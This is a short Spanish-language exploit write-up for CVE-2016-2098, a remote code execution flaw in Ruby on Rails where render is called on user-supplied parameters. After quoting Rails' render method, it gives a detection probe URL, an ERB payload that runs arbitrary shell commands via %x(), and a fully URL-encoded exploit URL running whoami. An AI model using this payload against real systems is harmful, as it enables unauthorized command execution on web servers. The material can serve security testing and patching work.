
Vulnerabilidad de ejecución remota de código en Ruby-on-Rails al usar render sobre datos proporcionados por el usuario.
Vulnerabilidad de ejecución remota de código en Ruby-on-Rails cuando se usa render con datos proporcionados por el usuario.
Este problema proviene del uso del método render con datos proporcionados por el usuario.
El método render se usa normalmente para renderizar una página desde una plantilla, pero el método render también permite a los desarrolladores renderizar texto plano (plaintext) e incluso código en línea (inline).
Función render:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
URL de destino:
http://example.com/?view=test
Explotación:
http://example.com/?view[inline]=OK
Si 'OK' aparece en el código fuente, entonces la aplicación web es vulnerable a CVE-2016-2098.
<%= %x('[CMD]') %>
Podemos reemplazar CMD con el comando que queremos que se ejecute.
<%= %x('whoami') %>
Después de la codificación URL:
%3C%25=%20%25x(whoami)%20%25%3E
Final:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E